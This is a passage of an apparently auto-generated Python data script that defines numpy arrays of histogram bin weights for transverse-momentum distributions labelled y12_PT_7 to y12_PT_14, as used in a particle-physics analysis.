0.000287117424891,0.000574573338521,0.0,0.000572984460783,0.0,0.0,0.000573680332051,0.0,0.000284529275612,0.000284763698558,0.000287117424891,0.000286303992265,0.000287241284179,0.000287241284179,0.000286439047873,0.0,0.0,0.000287761413213,0.000286172535475,0.0,0.000286172535475,0.000284624244396,0.0,0.000285157569093,0.0,0.000573240076763,0.000287117424891,0.0,0.0,0.0,0.0,0.0,0.000861046775091,0.000859865763288,0.0,0.000286811825341,0.0,0.0,0.0,0.000286303992265,0.0,0.000286439047873,0.0,0.000286428151454,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000286428151454,0.0,0.0,0.0,0.000573293159315,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.000284898354297,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_7
y12_PT_7_weights = numpy.array([0.0,0.0,0.167830256321,0.102168884373,0.0692723817573,0.0511858597427,0.0390696886877,0.0326534650807,0.0242229169825,0.0214638733175,0.0178807407639,0.0143612372499,0.0130426078593,0.01103005608,0.00952079520998,0.00818443031944,0.00775131030113,0.00693302149093,0.00622039133482,0.00470884647441,0.00492419953083,0.00442605912468,0.00390960027719,0.00336771160608,0.00317503375511,0.00326157897158,0.00282977402885,0.00248232209088,0.0020731202717,0.00254848279761,0.00192030538749,0.00205214611527,0.00157504817572,0.00150994690528,0.00159825309931,0.00151228453804,0.00142533113686,0.00120941483583,0.00118771273603,0.00114486926654,0.000950374281178,0.0010151134658,0.000971907910496,0.000907189260833,0.000885841284314,0.00112351668014,0.000862447355275,0.000712713553183,0.000777453995049,0.000604995116893,0.000604814493064,0.00056147525098,0.000561746815346,0.000453893015954,0.000583251109008,0.00051852491589,0.000539985206066,0.00047513077422,0.000432060162936,0.000302620810113,0.00034561774699,0.000453588763285,0.000388673438997,0.000388727458513,0.000259033849362,0.000302274900812,0.000237656118106,0.000367228948167,0.000280758621439,0.000194350947292,0.000280699028147,8.64628670897e-05,0.000108009823178,0.000345481880991,0.000216005984322,0.000280561904906,0.000194588901377,6.48013343076e-05,8.65507064277e-05,0.000214263111044,0.000151356566808,0.00010789491122,8.64909035959e-05,0.000237613329955,8.63750696597e-05,0.000107936316404,0.000129536495755,8.6361784798e-05,0.000151185204664,0.000107897174256,0.000151083870924,4.3188121543e-05,0.000172964038165,0.000107908740886,0.0,6.47284142464e-05,0.000107918421653,0.000107948427839,0.000108055167722,0.000129589132305,0.000129464791028,8.64150918772e-05,8.64864194312e-05,2.15819996258e-05,6.47657962548e-05,0.000129556108737,2.15929921154e-05,2.16134474498e-05,0.000108135631237,0.000129485200264,4.31454172083e-05,6.47732139851e-05,4.31721545641e-05,0.000108008272579,6.47634074942e-05,2.16078611026e-05,6.48549347433e-05,6.48694349394e-05,6.47466442617e-05,4.3267704989e-05,4.31481831417e-05,4.3215529428e-05,2.15932770904e-05,0.000108110779745,4.31900074066e-05,2.15929921154e-05,2.15926400875e-05,0.00010790144888,4.32089079512e-05,0.0,6.48306699643e-05,2.16545718498e-05,0.0,4.31222420395e-05,2.15251974126e-05,6.48615981282e-05,4.31810390773e-05,0.0,6.48625620141e-05,0.0,0.0,0.0,2.16545718498e-05,0.0,2.16086196389e-05,0.0,2.1555589153e-05,0.0,0.0,2.15782278985e-05,0.0,0.0,0.0,0.0,2.15549060513e-05,2.15549060513e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.16284463521e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.1597610386e-05,0.0,2.1597610386e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.15251974126e-05,0.0,0.0,0.0,2.15819996258e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.15782278985e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_8
y12_PT_8_weights = numpy.array([0.0,0.0,0.010818296221,0.00691661320593,0.00442131473043,0.0037958238302,0.00351818503799,0.00247127461249,0.00184171511888,0.00158858146907,0.00164695293513,0.00110164540982,0.00102102516987,0.000908654601613,0.000624072165822,0.000652255976167,0.000568355312112,0.000369225517873,0.000453084886968,0.000397353030413,0.000482518835389,0.000255532619626,0.000397789895441,0.000340733480756,0.000198974863867,0.000198957484333,0.000255738945884,0.000198879647789,0.000282887856993,0.000170107458532,8.50275114228e-05,0.000141459124448,0.000170497383966,0.000198480067059,8.51782974448e-05,0.000113527332194,0.000113450223511,5.67880420069e-05,0.000113549524521,0.0,5.67987371045e-05,5.66069680627e-05,2.84403589993e-05,8.52284010062e-05,8.52995828225e-05,8.51066105822e-05,2.83795603402e-05,8.53088667614e-05,5.67591058262e-05,2.83795603402e-05,5.69003702404e-05,2.84600112411e-05,0.0,2.84403589993e-05,5.69200224823e-05,8.52284010062e-05,2.84084816667e-05,2.84084816667e-05,5.69200224823e-05,2.83795603402e-05,0.0,2.84403589993e-05,5.68488555203e-05,5.68209442864e-05,0.0,0.0,0.0,5.64436598639e-05,0.00011362641039,0.0,0.0,0.0,0.0,0.0,5.67694147119e-05,5.68395715814e-05,2.84084816667e-05,8.52284010062e-05,0.0,2.84600112411e-05,0.0,2.83795603402e-05,2.619569568e-05,0.0,0.0,0.0,0.0,2.84084816667e-05,0.0,0.0,0.0,0.0,5.54718319945e-05,0.0,0.0,2.83795603402e-05,0.0,2.82105332351e-05,0.0,0.0,0.0,2.84600112411e-05,0.0,0.0,0.0,0.0,0.0,2.84600112411e-05,0.0,2.83609330452e-05,0.0,0.0,2.84403589993e-05,0.0,2.82105332351e-05,2.84403589993e-05,0.0,2.84600112411e-05,0.0,0.0,0.0,2.82642315377e-05,0.0,0.0,0.0,0.0,0.0,0.0,5.67694147119e-05,0.0,0.0,0.0,2.83795603402e-05,0.0,2.84191767643e-05,0.0,0.0,2.84084816667e-05,0.0,0.0,2.84084816667e-05,0.0,0.0,0.0,0.0,0.0,0.0,2.81734866053e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.83609330452e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.83795603402e-05,0.0,0.0,0.0,2.83795603402e-05,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_9
y12_PT_9_weights = numpy.array([0.0,0.0,135.56861887,33.8766790718,20.8283427932,10.4277320538,5.21970904937,7.82676223029,5.20305095573,0.0,7.81802942081,2.6104540161,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_10
y12_PT_10_weights = numpy.array([0.0,0.0,425.451578335,195.934438396,111.667572928,91.6399035833,42.1228520027,30.5407837042,15.8016176516,10.5297742013,10.5303667222,11.5790095054,7.36923674781,5.26225538427,4.2133855963,4.21425129247,1.05340334264,5.26504484972,3.16090835618,2.10700868106,1.05535404469,3.1619379575,1.05384696384,0.0,1.05275118486,2.10764660295,0.0,0.0,0.0,0.0,1.05312785888,0.0,0.0,0.0,0.0,1.05604390835,0.0,0.0,0.0,0.0,0.0,0.0,1.05535404469,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_11
y12_PT_11_weights = numpy.array([0.0,0.0,634.111262114,327.071081066,196.47469717,125.30624455,87.2941194321,59.6543622589,45.1358443833,32.9441209811,21.8771597652,20.9615455717,15.8944367077,12.4437676359,9.67592264999,8.06659124598,4.606562156,4.83628989318,5.07019044634,3.91756337833,1.84137032794,1.84347095272,1.61105278667,2.99418451947,2.0742895393,2.76361952944,1.61244872041,1.15102748855,0.460948620109,1.15215061388,0.690415460225,1.15141479965,0.230818893976,0.230818893976,0.921393121012,0.0,0.691386811867,0.460167081644,0.229683742016,0.460911733338,0.461312492738,0.461034305005,0.230108938901,0.0,0.460753811849,0.0,0.0,0.23062558424,0.230732594301,0.0,0.0,0.0,0.0,0.230340557085,0.0,0.23062558424,0.0,0.0,0.461099241092,0.0,0.0,0.0,0.0,0.0,0.230340557085,0.0,0.0,0.0,0.0,0.230000584011,0.229932881416,0.0,0.0,0.0,0.230653518285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_12
y12_PT_12_weights = numpy.array([0.0,0.0,203.805323621,114.309770051,70.5010300749,47.1016877874,32.563150462,23.8428980565,18.7760080124,14.1499191626,10.5499286089,8.89002038102,7.33797529513,5.70411626415,4.54078936745,3.37838733075,3.37827537806,3.3499644291,2.32590782687,2.32589359233,1.71699909602,1.35666341316,1.4679628486,0.830788180702,0.996461996578,0.941774071684,0.885817734409,0.747611952254,0.443252227244,0.609035687502,0.637013086706,0.664776583184,0.387764090717,0.388031084406,0.332336239364,0.332348511841,0.442951378447,0.221751069746,0.387673682191,0.166089271906,0.19378551983,0.221499734044,0.0831063638168,0.166278937452,0.165994323718,0.0829625180815,0.0830903211124,0.110951843516,0.0553576020043,0.138533484207,0.138504399592,0.138507592744,0.0554523963054,0.0276415219122,0.0830777793339,0.0277235474517,0.0276903232802,0.0552990095853,0.0553473300569,0.0830455015666,0.0,0.0554630914417,0.0,0.0553338264856,0.0276068050383,0.0276264179176,0.0,0.0276959363032,0.0,0.0553338264856,0.0277274638721,0.0,0.0,0.0,0.0,0.0276926777491,0.0,0.0276861106277,0.0,0.0,0.0277235474517,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0277293951521,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0277661971928,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0277337078311,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_13
y12_PT_13_weights = numpy.array([0.0,0.0,27.9367825484,15.9905288223,10.0119436518,6.96694234902,5.17233945886,3.57912899842,2.73184191212,2.34834529727,1.82469306147,1.53228676857,1.12945579112,1.2503862763,0.988244310816,0.615191601387,0.705938465641,0.756049308125,0.544240886496,0.544264552309,0.252062270856,0.362871979983,0.383130522927,0.282274230075,0.201449713132,0.221932292441,0.120982671331,0.110893753105,0.130933721025,0.0907996572218,0.0907281136479,0.0504147843436,0.0806334913537,0.0605554336104,0.120994018785,0.0806419867738,0.0807333732219,0.10085429036,0.0906577230239,0.0302649463683,0.0503226393759,0.0504118170147,0.0402716228596,0.0705817102496,0.020131961184,0.0705213320851,0.0100985241193,0.0403134567356,0.0201689466024,0.0302475610978,0.0100785295412,0.0201222096554,0.0302681200145,0.0302619001534,0.0100841425866,0.0201645047113,0.0201807127593,0.0100818002779,0.0100988760724,0.0302041859099,0.0201710765256,0.0403603635911,0.0100417929173,0.0201852031957,0.0,0.01007007053,0.01010217715,0.0201603298191,0.0,0.010065980592,0.0,0.0,0.0100223626778,0.0,0.0100438560907,0.0,0.0,0.0100818002779,0.0201568831058,0.0,0.0,0.0,0.0,0.01007007053,0.0,0.0,0.0100910178088,0.0,0.0,0.0100910178088,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0100793972877,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0100417929173,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0])
# Creating weights for histo: y12_PT_14
y12_PT_14_weights = numpy.array([0.0,0.0,6.45366265928,3.89867987417,2.4866683402,1.65794599796,1.24491101835,1.08074335968,0.735616541766,0.58288098483,0.458309780565,0.356386980284,0.379102328661,0.316779214584,0.282901581158,0.257501608716,0.169677374605,0.141443615217,0.107476684126,0.107510310218,0.115981276763,0.138603864834,0.0735523050459,0.0848161993729,0.0678938494415,0.0593918730224,0.056581670509,0.0424337809408,0.0424407831704,0.0537503843591,0.0509036702197,0.025461634384,0.0424363202109,0.0197887588035,0.0367921614666,0.016976301726,0.0141540222902,0.0226542058308,0.0169755822662,0.0141578427375,0.0141435458774,0.0141356895296,0.00847047023317,0.0169945190652,0.0084873525318